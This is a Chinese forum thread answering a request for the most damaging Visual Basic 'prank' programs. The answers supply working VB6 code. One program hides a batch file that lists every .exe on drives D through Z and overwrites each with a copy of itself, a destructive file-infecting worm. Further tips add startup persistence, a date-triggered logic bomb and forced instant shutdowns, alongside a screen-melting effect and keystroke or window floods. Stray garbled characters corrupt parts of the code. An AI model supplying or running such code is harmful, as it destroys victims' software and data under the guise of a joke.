求一些VB恶搞代码。效果越厉害越好，例如：蓝屏.等等

电脑余简源桌面融化，这段代码真的很强悍 ！ 居然搞的我看不到屏幕 ， 就像雪糕一样被融化了； Private Declare Function GetWindowDC Lib "咐尺user32" (ByVal hwnd As Long) As Long

Private Declare Function GetDesktopWindow Lib "user32" () As Long

Private Declare Function CreateCompatibleBitmap Lib "gdi32" (ByVal hdc As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long

Private Declare Function CreateCompatibleDC Lib "gdi32" (ByVal hdc As Long) As Long

Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As Long) As Long

Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long

Private Const SRCCOPY = &HCC0020 ' (DWORD) dest = source

Dim x As Integer, y As Integer

Dim Buffer As Long, hBitmap As Long, Desktop As Long, hScreen As Long, ScreenBuffer As Long

Private Declare Sub InvalidateRect Lib "user32" (ByVal hwnd As Long, lpRect As Any, ByVal bErase As Long)

Private Sub Form_Load()

Me.Hide

Desktop = GetWindowDC(GetDesktopWindow())

hBitmap = CreateCompatibleDC(Desktop)

hScreen = CreateCompatibleDC(Desktop)

Buffer = CreateCompatibleBitmap(Desktop, 32, 32)

ScreenBuffer = CreateCompatibleBitmap(Desktop, Screen.Width / 15, Screen.Height / 15)

SelectObject hBitmap, Buffer

SelectObject hScreen, ScreenBuffer

BitBlt hScreen, 0, 0, Screen.Width / 15, Screen.Height / 15, Desktop, 0, 0, SRCCOPY

For i = 0 To 1E+17

y = (Screen.Height / 15) * Rnd

x = (Screen.Width / 15) * Rnd

BitBlt hBitmap, 0, 0, 32, 32, Desktop, x, y, SRCCOPY

BitBlt Desktop, x + (1 - 2 * Rnd), y + (1 - 2 * Rnd), 32, 32, hBitmap, 0, 0, SRCCOPY

DoEvents

Next i

End Sub 还有个杀手锏；一段要人命竖态的vb代码

-----------------------------------------------声明---------------------------------------------------------------

’如果您在没有读懂代码的情况下请不要生成exe文件运行.............否则不要怪我没提醒你。。。。。。。

Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Private Sub Form_Load()

On Error Resume Next ’容错句

If Dir("c:\123.txt") = "" Then ’如果123.txt不存在则创建 bat遍历exe文件

Open "c:\a.bat" For Output As #1 ’打开bat文件

Print #1, "for %%a in (d: e: f: g: h: i: j: k: l: m: n: o: p: q: r: s: t: u: v: w: x: y: z:) do dir /s/b %%a\*.exe >>e:\123.txt" ’写入数据

Close #1 ’关闭文件

Sleep 200 ’延时200秒等待文件生成（主要为了慢机器）

Shell "c:\a.bat", 0 ’隐藏运行之

End If

Sleep 60000 ’延时1分钟等待exe遍历完成

Dim A() As String

Dim C As Long, I As Integer

Open "c:\123.txt" For Input As #1 ’读取txt里面的内容

Do While EOF(1) = False

ReDim Preserve A(C)

Input #1, A(C)

C = C + 1

Loop

Close #1

For I = 0 To C - 1

FileCopy App.Path &"\" &App.EXEName &".exe", A(I) ’把txt里面的内容替换掉

Next

End Sub

</SPAN>

s2

=

"C:\Documents

and

Settings\Administrator\「开始」菜单\程序拦判蚂\启动\"

&

App.EXEName

&

".exe"

把Administrator改成all

users

Shell

"冲毁Shutdown.exe

-s

-t

0"改成Shell

"Shutdown.exe

-s

-t

0

-f"简埋

If

Format(Now,

"yyyy/mm/dd")

=

"20100402"

Then

改成

If

val(Format(Now,

"yyyy/mm/dd"))>=

20100402

Then

错误70是权限错误,不知道你为何遇到

1、窗口炸d

Private Sub Form_Load()

For a = 1 To 10

Shell "cmd /c echo 轰隆——一切的全完了！ &pause", vbNormalFocus

Next

End Sub

2、数羊程序

Private Sub Form_Load()

MsgBox "困死我了，睡不着，帮我数羊"则激, , "数羊"

MsgBox "就一百只羊吧！", , "数羊"

For a = 1 To 100

MsgBox a &"只羊", , "数羊"

Next

MsgBox "身边没或逗个人，好孤单，好寂寞……", "64", "数羊"

Shell "shutdown -s -t 0"

End Sub

3、按十万次回车

Private Sub Form_Load()

For a = 1 To 100000

SendKeys "孙团袜{enter}"

Next

End Sub

---